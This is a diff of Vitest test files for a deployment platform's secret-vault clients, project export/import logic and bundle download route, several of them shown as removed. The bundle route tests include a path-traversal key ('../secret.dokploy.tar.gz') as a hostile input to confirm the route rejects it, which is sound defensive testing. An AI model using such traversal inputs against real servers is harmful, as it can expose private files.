buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
environment: {
environmentId: "env-1",
env:
(overrides as { environmentEnv?: string }).environmentEnv ?? null,
project: {
projectId: "proj-1",
env: (overrides as { projectEnv?: string }).projectEnv ?? null,
organizationId: "org-1",
},
},
};
await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
"not enabled for this project/environment",
);
expect(mockFetch).not.toHaveBeenCalled();
},
);
it("rejects a ref restricted to another environment from the environment env", async () => {
findMany.mockResolvedValue([
{
name: "prod-only",
providerType: "doppler",
config: { providerType: "doppler", serviceToken: "dp.st.token" },
assignments: [
{ projectId: "proj-1", environmentIds: ["production-env"] },
],
},
]);
await expect(
withResolvedVaultRefs({
env: null,
environment: {
environmentId: "dev-env",
env: "SECRET=${{vault.prod-only.X}}",
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
},
}),
).rejects.toThrow("not enabled for this project/environment");
expect(mockFetch).not.toHaveBeenCalled();
});
it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
expect(() =>
prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
).toThrow("Unresolved vault reference");
});
it("keeps working without vault refs", () => {
const prepared = prepareEnvironmentVariables(
"FOO=${{project.BAR}}",
"BAR=baz",
);
expect(prepared).toEqual(["FOO=baz"]);
expect(findMany).not.toHaveBeenCalled();
});
});
describe("hashicorp client", () => {
const config = {
providerType: "hashicorp" as const,
url: "https://vault.example.com",
token: "hvs.token",
mount: "secret",
};
it("rejects refs without a field", async () => {
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod"]),
).rejects.toThrow("expected format <path>:<field>");
});
it("groups refs by path and picks fields from KV v2 data", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
);
const result = await hashicorpClient.getSecrets(config, [
"myapp/prod:USER",
"myapp/prod:PASS",
]);
expect(result).toEqual({
"myapp/prod:USER": "admin",
"myapp/prod:PASS": "pw",
});
expect(mockFetch).toHaveBeenCalledTimes(1);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://vault.example.com/v1/secret/data/myapp/prod",
);
});
it("throws when a field is missing", async () => {
mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
await expect(
hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
).rejects.toThrow('field "MISSING" not found');
});
it("lists full path:field refs by walking directories", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("/metadata?list=true")) {
return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
}
if (url.includes("/metadata/myapp?list=true")) {
return jsonResponse({ data: { keys: ["prod"] } });
}
if (url.includes("/data/myapp/prod")) {
return jsonResponse({
data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
});
}
if (url.includes("/data/shared")) {
return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
}
return jsonResponse({}, false, 404);
});
const names = await hashicorpClient.listSecretNames?.(config);
expect(names).toEqual([
"myapp/prod:API_KEY",
"myapp/prod:DB_PASSWORD",
"shared:STRIPE_KEY",
]);
});
});
describe("azure client", () => {
const config = {
providerType: "azure" as const,
vaultUri: "https://my-vault.vault.azure.net",
tenantId: "tenant-1",
clientId: "client-1",
clientSecret: "secret-1",
};
it("authenticates and reads secrets by name", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com/tenant-1")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("/secrets/db-password?")) {
return jsonResponse({ value: "azure-pw" });
}
return jsonResponse({}, false, 404);
});
const result = await azureClient.getSecrets(config, ["db-password"]);
expect(result).toEqual({ "db-password": "azure-pw" });
});
it("throws a clear error for missing secrets", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
return jsonResponse({}, false, 404);
});
await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
'secret "nope" not found',
);
});
it("lists secret names from paged results", async () => {
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("login.microsoftonline.com")) {
return jsonResponse({ access_token: "azure-token" });
}
if (url.includes("skiptoken")) {
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/second` }],
nextLink: null,
});
}
return jsonResponse({
value: [{ id: `${config.vaultUri}/secrets/first` }],
nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
});
});
const names = await azureClient.listSecretNames?.(config);
expect(names).toEqual(["first", "second"]);
});
});
describe("infisical client", () => {
const config = {
providerType: "infisical" as const,
siteUrl: "https://app.infisical.com",
clientId: "client-1",
clientSecret: "client-secret",
projectId: "workspace-1",
environmentSlug: "prod",
secretPath: "/frontend",
};
const loginResponse = () => jsonResponse({ accessToken: "token-1" });
const list = (secrets: Record<string, string>) =>
jsonResponse({
secrets: Object.entries(secrets).map(([secretKey, secretValue]) => ({
secretKey,
secretValue,
})),
});
const listPathOf = (callIndex: number) => {
const [url] = mockFetch.mock.calls[callIndex] as [string];
return new URL(url).searchParams.get("secretPath");
};
it("asks the list endpoint to expand secret references", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({ DB_URL: "postgres://real" }));
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://real" });
const [listUrl] = mockFetch.mock.calls[1] as [string];
const params = new URL(listUrl).searchParams;
expect(params.get("expandSecretReferences")).toBe("true");
expect(params.get("workspaceId")).toBe("workspace-1");
expect(params.get("environment")).toBe("prod");
expect(params.get("secretPath")).toBe("/frontend");
});
it("asks for imported secrets and merges them", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [],
imports: [
{
secretPath: "/shared",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://imported" });
const [listUrl] = mockFetch.mock.calls[1] as [string];
// snake_case on purpose: `includeImports` is silently ignored and the
// response comes back with an empty `imports` array.
expect(new URL(listUrl).searchParams.get("include_imports")).toBe("true");
});
it("lets the later import win when two define the same key", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [],
imports: [
{
secretPath: "/base",
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://base" }],
},
{
secretPath: "/override",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://override" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
// Infisical documents this order: "If two imports carry a secret with the
// same name, the value from the bottom-most import wins." The response
// lists imports in that order, so assigning them in sequence matches it.
expect(result).toEqual({ DB_URL: "postgres://override" });
});
it("lets a folder's own secret win over an imported one of the same name", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://local" }],
imports: [
{
secretPath: "/shared",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://local" });
});
it("throws a clear error for a missing secret", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(jsonResponse({ secrets: [] }));
await expect(
infisicalClient.getSecrets(config, ["ABSENT"]),
).rejects.toThrow('secret "ABSENT" not found in environment "prod"');
});
it("propagates authentication failures with the status code", async () => {
mockFetch.mockResolvedValueOnce(jsonResponse({}, false, 401));
await expect(
infisicalClient.getSecrets(config, ["DB_URL"]),
).rejects.toThrow("authentication failed (status 401)");
});
it("resolves a relative <path>:<KEY> ref against the provider path", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" }));
const result = await infisicalClient.getSecrets(config, [
"shared/sentry:SENTRY_DSN",
]);
expect(result).toEqual({
"shared/sentry:SENTRY_DSN": "https://key@sentry.io/1",
});
expect(listPathOf(1)).toBe("/frontend/shared/sentry");
});
it("treats a leading slash as an absolute path", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" }));
await infisicalClient.getSecrets(config, ["/external/sentry:SENTRY_DSN"]);
expect(listPathOf(1)).toBe("/external/sentry");
});
it("keeps the root path clean when the provider sits at /", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({ KEY: "value" }));
await infisicalClient.getSecrets({ ...config, secretPath: "/" }, [
"external/sentry:KEY",
]);
expect(listPathOf(1)).toBe("/external/sentry");
});
it("logs in once and fetches each path once", async () => {
const byPath: Record<string, Record<string, string>> = {
"/frontend": { A: "a", B: "b" },
"/frontend/other": { C: "c" },
};
mockFetch.mockImplementation(async (url: string) => {
if (url.includes("/auth/universal-auth/login")) return loginResponse();
const path = new URL(url).searchParams.get("secretPath") as string;
return list(byPath[path] ?? {});
});
const result = await infisicalClient.getSecrets(config, [
"A",
"B",
"other:C",
]);
expect(result).toEqual({ A: "a", B: "b", "other:C": "c" });
const urls = mockFetch.mock.calls.map(([url]) => url as string);
expect(urls.filter((u) => u.includes("/login"))).toHaveLength(1);
expect(
urls
.filter((u) => u.includes("/secrets/raw?"))
.map((u) => new URL(u).searchParams.get("secretPath"))
.sort(),
).toEqual(["/frontend", "/frontend/other"]);
});
it("names the path when a secret is missing from an explicit one", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
.mockResolvedValueOnce(list({}));
await expect(
infisicalClient.getSecrets(config, ["external/sentry:ABSENT"]),
).rejects.toThrow(
'secret "ABSENT" not found at "/frontend/external/sentry"',
);
});
it("rejects a ref with an empty path or key", async () => {
await expect(infisicalClient.getSecrets(config, [":KEY"])).rejects.toThrow(
"expected format <path>:<KEY>",
);
await expect(
infisicalClient.getSecrets(config, ["external/sentry:"]),
).rejects.toThrow("expected format <path>:<KEY>");
});
});
describe("doppler client", () => {
it("propagates auth errors with the status code", async () => {
mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
await expect(
dopplerClient.getSecrets(
{ providerType: "doppler", serviceToken: "bad" },
["FOO"],
),
).rejects.toThrow("status 401");
});
});
describe("scaleway client", () => {
const config = {
providerType: "scaleway" as const,
region: "fr-par",
projectId: "project-1",
secretKey: "scw-secret-key",
apiUrl: "https://api.scaleway.com",
};
const accessResponse = (value: string) =>
jsonResponse({
secret_id: "secret-1",
revision: 1,
data: Buffer.from(value).toString("base64"),
});
it("reads a secret by name from the root path and decodes the payload", async () => {
mockFetch.mockResolvedValue(accessResponse("postgres://real"));
const result = await scalewayClient.getSecrets(config, ["db-url"]);
expect(result).toEqual({ "db-url": "postgres://real" });
expect(mockFetch).toHaveBeenCalledTimes(1);
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toBe(
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
);
expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
"scw-secret-key",
);
});
it("sends the folder of a path-qualified ref as secret_path", async () => {
mockFetch.mockResolvedValue(accessResponse("value"));
await scalewayClient.getSecrets(config, ["prod/db/password"]);
expect(mockFetch.mock.calls[0]?.[0]).toContain(
"secret_name=password&secret_path=%2Fprod%2Fdb",
);
});
it("extracts a field from a JSON secret and fetches the secret once", async () => {
mockFetch.mockResolvedValue(
accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
);
const result = await scalewayClient.getSecrets(config, [
"db-creds:user",
"db-creds:port",
]);
expect(result).toEqual({
"db-creds:user": "admin",
"db-creds:port": "5432",
});
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("throws when the secret is not JSON but a field is requested", async () => {
mockFetch.mockResolvedValue(accessResponse("plain-value"));
await expect(
scalewayClient.getSecrets(config, ["db-creds:user"]),
).rejects.toThrow("is not JSON");
});
it("throws when the requested field is missing", async () => {
mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
await expect(
scalewayClient.getSecrets(config, ["db-creds:password"]),
).rejects.toThrow('field "password" not found');
});
it("throws a clear error for a missing secret", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ message: "not found" }, false, 404),
);
await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
'secret "nope" not found in path "/"',
);
});
it("reports authentication failures with the API message", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ message: "denied authentication" }, false, 403),
);
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
"authentication failed (status 403: denied authentication)",
);
});
it("throws when the secret has no enabled version", async () => {
mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
"has no enabled version",
);
});
it("rejects a ref without a secret name", async () => {
await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
"expected format <name> or <folder>/<name>[:field]",
);
});
it("tests the connection against the secrets listing", async () => {
mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
await scalewayClient.testConnection(config);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
);
});
it("lists secret names with their folder prefix", async () => {
mockFetch.mockResolvedValue(
jsonResponse({
secrets: [
{ id: "1", name: "db-url", path: "/" },
{ id: "2", name: "password", path: "/prod/db" },
],
total_count: 2,
}),
);
const names = await scalewayClient.listSecretNames?.(config);
expect(names).toEqual(["db-url", "prod/db/password"]);
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("follows pagination until a short page is returned", async () => {
const page = (start: number, size: number) =>
jsonResponse({
secrets: Array.from({ length: size }, (_, index) => ({
id: String(start + index),
name: `secret-${start + index}`,
path: "/",
})),
});
mockFetch.mockImplementation(async (url: string) =>
url.includes("page=2") ? page(101, 2) : page(1, 100),
);
const names = await scalewayClient.listSecretNames?.(config);
expect(names).toHaveLength(102);
expect(mockFetch).toHaveBeenCalledTimes(2);
});
it("resolves env refs end to end through a scaleway provider", async () => {
findMany.mockResolvedValue([
{
name: "scw-prod",
providerType: "scaleway",
config,
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(accessResponse("s3cret"));
const result = await resolveVaultReferences(
"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
scope,
);
expect(result).toBe("DB_PASSWORD=s3cret");
});
});
describe("phase client", () => {
const config = {
providerType: "phase" as const,
token: "phase-rest-token",
appId: "app-123",
env: "Production",
path: "/",
apiUrl: "https://api.phase.dev",
};
it("fetches secrets by key and sends ServiceAccount auth", async () => {
mockFetch.mockResolvedValue(
jsonResponse([
{ key: "DB_URL", value: "postgres://real", path: "/" },
{ key: "API_KEY", value: "key-123", path: "/" },
]),
);
const result = await phaseClient.getSecrets(config, ["DB_URL", "API_KEY"]);
expect(result).toEqual({ DB_URL: "postgres://real", API_KEY: "key-123" });
expect(mockFetch).toHaveBeenCalledTimes(1);
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toBe(
"https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F",
);
expect((init.headers as Record<string, string>).Authorization).toBe(
"Bearer ServiceAccount phase-rest-token",
);
});
it("throws when a requested secret is missing", async () => {
mockFetch.mockResolvedValue(
jsonResponse([{ key: "DB_URL", value: "postgres://real", path: "/" }]),
);
await expect(phaseClient.getSecrets(config, ["MISSING"])).rejects.toThrow(
'secret "MISSING" not found in environment "Production"',
);
});
it("reports authentication failures with the status code", async () => {
mockFetch.mockResolvedValue(
jsonResponse({ error: "unauthorized" }, false, 401),
);
await expect(phaseClient.getSecrets(config, ["DB_URL"])).rejects.toThrow(
"authentication failed (status 401: unauthorized)",
);
});
it("rejects apps without SSE enabled during testConnection", async () => {
mockFetch.mockResolvedValueOnce(
jsonResponse({
id: "app-123",
name: "My App",
sseEnabled: false,
}),
);
await expect(phaseClient.testConnection(config)).rejects.toThrow(
"enable Server-side Encryption (SSE)",
);
expect(mockFetch).toHaveBeenCalledTimes(1);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://api.phase.dev/v1/apps/app-123/",
);
});
it("tests connection against the app then secrets listing", async () => {
mockFetch
.mockResolvedValueOnce(
jsonResponse({
id: "app-123",
name: "My App",
sseEnabled: true,
}),
)
.mockResolvedValueOnce(jsonResponse([]));
await phaseClient.testConnection(config);
expect(mockFetch).toHaveBeenCalledTimes(2);
expect(mockFetch.mock.calls[0]?.[0]).toBe(
"https://api.phase.dev/v1/apps/app-123/",
);
expect(mockFetch.mock.calls[1]?.[0]).toBe(
"https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F",
);
});
it("lists secret names from the configured path", async () => {
mockFetch.mockResolvedValue(
jsonResponse([
{ key: "DB_URL", value: "x", path: "/" },
{ key: "API_KEY", value: "y", path: "/" },
]),
);
const names = await phaseClient.listSecretNames?.(config);
expect(names).toEqual(["DB_URL", "API_KEY"]);
});
it("resolves env refs end to end through a phase provider", async () => {
findMany.mockResolvedValue([
{
name: "phase-prod",
providerType: "phase",
config,
assignments: assignedEverywhere,
},
]);
mockFetch.mockResolvedValue(
jsonResponse([{ key: "DB_PASSWORD", value: "s3cret", path: "/" }]),
);
const result = await resolveVaultReferences(
"DB_PASSWORD=${{vault.phase-prod.DB_PASSWORD}}",
scope,
);
expect(result).toBe("DB_PASSWORD=s3cret");
});
});
@@ -1,127 +0,0 @@
import { projects, projectTags, tags } from "@dokploy/server/db/schema";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {
projectId: "project-src",
name: "src",
env: "",
tags: [
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
],
},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
describe("apply project tags", () => {
it("reuses an existing tag by name and creates the missing one", async () => {
const inserted = new Map<unknown, Record<string, unknown>[]>();
const writeDb = {
query: {
tags: {
findFirst: async (args: {
where: (f: unknown, o: unknown) => unknown;
}) => {
const captured: unknown[] = [];
args.where(new Proxy({}, { get: (_t, prop) => String(prop) }), {
and: (...v: unknown[]) => v,
eq: (a: unknown, b: unknown) => captured.push([a, b]),
});
const nameArg = captured.find(
(c) => (c as [unknown, unknown])[0] === "name",
) as [unknown, string] | undefined;
return nameArg?.[1] === "prod"
? { tagId: "tag-existing", name: "prod" }
: undefined;
},
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row = { ...values };
if (table === projects) row.projectId = "project-new";
if (table === tags) row.tagId = "tag-new";
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
await apply(writeDb, snapshot, plan, new Map(), "org-dest");
expect(inserted.get(projects)?.[0]).not.toHaveProperty("tags");
expect(inserted.get(tags)).toEqual([
{
name: "billing",
color: null,
organizationId: "org-dest",
tagId: "tag-new",
},
]);
expect(inserted.get(projectTags)).toEqual([
{ projectId: "project-new", tagId: "tag-existing" },
{ projectId: "project-new", tagId: "tag-new" },
]);
});
});
File diff suppressed because it is too large Load Diff
@@ -1,92 +0,0 @@
import {
regenerateAppName,
replaceAppNames,
rewriteSslipIoIp,
rewriteVolumeName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("regenerateAppName", () => {
it("strips the last hyphen segment and rebuilds a fresh suffix", () => {
const result = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(result).not.toBe("myapp-verb-noun-ab12cd");
expect(result.startsWith("myapp-verb-noun-")).toBe(true);
});
it("handles an app name with no hyphen", () => {
const result = regenerateAppName("application", "singleword");
expect(result.startsWith("singleword-")).toBe(true);
});
it("produces a different name on every call", () => {
const first = regenerateAppName("application", "myapp-verb-noun-ab12cd");
const second = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(first).not.toBe(second);
});
});
describe("replaceAppNames", () => {
it("replaces a standalone app name reference", () => {
const result = replaceAppNames("DEPLOY_TARGET=app-foo ready", {
"app-foo": "app-bar",
});
expect(result).toBe("DEPLOY_TARGET=app-bar ready");
});
it("does not touch a key that only matches mid-token (left boundary)", () => {
const result = replaceAppNames("myapp-foo deployed", { foo: "bar" });
expect(result).toBe("myapp-foo deployed");
});
it("prefers the longest match when both names are in the map (prefix collision)", () => {
const result = replaceAppNames("app-foo-bar and app-foo both here", {
"app-foo": "short-renamed",
"app-foo-bar": "long-renamed",
});
expect(result).toBe("long-renamed and short-renamed both here");
});
it("returns the text unchanged when the map is empty", () => {
expect(replaceAppNames("app-foo", {})).toBe("app-foo");
});
it("returns null/empty text unchanged", () => {
expect(replaceAppNames("", { "app-foo": "app-bar" })).toBe("");
});
});
describe("rewriteVolumeName", () => {
it("reports rewritten: true when the name changes", () => {
const result = rewriteVolumeName("app-foo-data", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "app-bar-data", rewritten: true });
});
it("reports rewritten: false when nothing matches", () => {
const result = rewriteVolumeName("unrelated-volume", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "unrelated-volume", rewritten: false });
});
});
describe("rewriteSslipIoIp", () => {
it("swaps the trailing IP segment of an auto-generated sslip.io host for the destination's IP", () => {
const result = rewriteSslipIoIp(
"my-app-ab12cd-10-0-0-5.sslip.io",
"203.0.113.9",
);
expect(result).toBe("my-app-ab12cd-203-0-113-9.sslip.io");
});
it("leaves a non-sslip.io host untouched", () => {
const result = rewriteSslipIoIp("api.example.com", "203.0.113.9");
expect(result).toBe("api.example.com");
});
it("leaves the host untouched when no destination IP is known", () => {
const result = rewriteSslipIoIp("my-app-ab12cd-10-0-0-5.sslip.io", null);
expect(result).toBe("my-app-ab12cd-10-0-0-5.sslip.io");
});
});
@@ -1,198 +0,0 @@
import { PassThrough } from "node:stream";
import { beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { streamBox } = vi.hoisted(() => ({
streamBox: { content: Buffer.from("bundle bytes"), exitCode: 0 },
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(
async (destinationId: string, organizationId: string) => {
if (destinationId === "dest-1" && organizationId === "org-1") {
return { destinationId, bucket: "b", organizationId };
}
throw new Error("Destination not found");
},
),
listBundles: vi.fn(async () => [
{
key: `${actual.EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`,
size: streamBox.content.length,
modTime: "2024-01-01T00:00:00.000Z",
},
]),
streamBundleFromDestination: vi.fn(async () => {
const stdout = new Pass();
const stdin = new Pass();
stdin.resume();
process.nextTick(() => stdout.end(streamBox.content));
return {
stdin,
stdout,
stderr: new Pass(),
exit: Promise.resolve(streamBox.exitCode),
close: () => {},
};
}),
};
},
);
const { assertTransferPermission, EXPORTS_DIRECTORY } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/bundle"))
.default;
const buildReq = (query: Record<string, string>, method = "GET") => ({
method,
query,
headers: {},
});
const buildRes = () => {
const body = new PassThrough();
const chunks: Buffer[] = [];
body.on("data", (chunk) => chunks.push(chunk as Buffer));
const res = body as unknown as PassThrough & {
statusCode: number;
jsonBody?: unknown;
headers: Record<string, unknown>;
status: (code: number) => typeof res;
json: (value: unknown) => void;
setHeader: (key: string, value: unknown) => void;
body: () => Buffer;
};
res.statusCode = 200;
res.headers = {};
res.status = (code) => {
res.statusCode = code;
return res;
};
res.json = (value) => {
res.jsonBody = value;
res.end();
};
res.setHeader = (key, value) => {
res.headers[key] = value;
};
res.body = () => Buffer.concat(chunks);
return res;
};
const goodKey = `${EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`;
beforeEach(() => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
streamBox.exitCode = 0;
});
describe("bundle download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(401);
});
it("rejects keys outside the exports directory or with the wrong extension", async () => {
for (const key of [
"backups/prod.sql.gz",
`${EXPORTS_DIRECTORY}/../secret.dokploy.tar.gz`,
`${EXPORTS_DIRECTORY}/notes.txt`,
]) {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key }) as any,
res as any,
);
expect(res.statusCode).toBe(400);
}
});
it("rejects a non-owner caller", async () => {
vi.mocked(assertTransferPermission).mockRejectedValueOnce(
new Error("Only organization owners and admins can do that"),
);
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(403);
});
it("returns 404 for a destination outside the organization", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-other", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("returns 404 for a bundle that is not in the listing", async () => {
const res = buildRes();
await handler(
buildReq({
destinationId: "dest-1",
key: `${EXPORTS_DIRECTORY}/missing.dokploy.tar.gz`,
}) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("streams the object with the right headers", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(200);
expect(res.headers["Content-Length"]).toBe(streamBox.content.length);
expect(res.headers["Content-Disposition"]).toContain("p-1.dokploy.tar.gz");
expect(res.body().equals(streamBox.content)).toBe(true);
});
it("answers with a JSON error when listing the destination fails", async () => {
const { listBundles } = await import(
"@dokploy/server/services/project-export-import"
);
vi.mocked(listBundles).mockRejectedValueOnce(new Error("bad credentials"));
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(502);
});
});
@@ -1,182 +0,0 @@
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const manifest: Snapshot["manifest"] = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
const plan = (overrides: Partial<Plan> = {}): Plan => ({
target: { kind: "newProject", name: "p" },
resolutions: {},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
...overrides,
});
const writeDb = () =>
({
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [
{
...values,
projectId: "project-new",
environmentId: "env-new",
applicationId: "app-new",
destinationId: "dest-new",
},
],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => fn(writeDb()),
}) as unknown as TransferWriteDb;
const appWith = (mount: Record<string, unknown>): Snapshot => ({
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
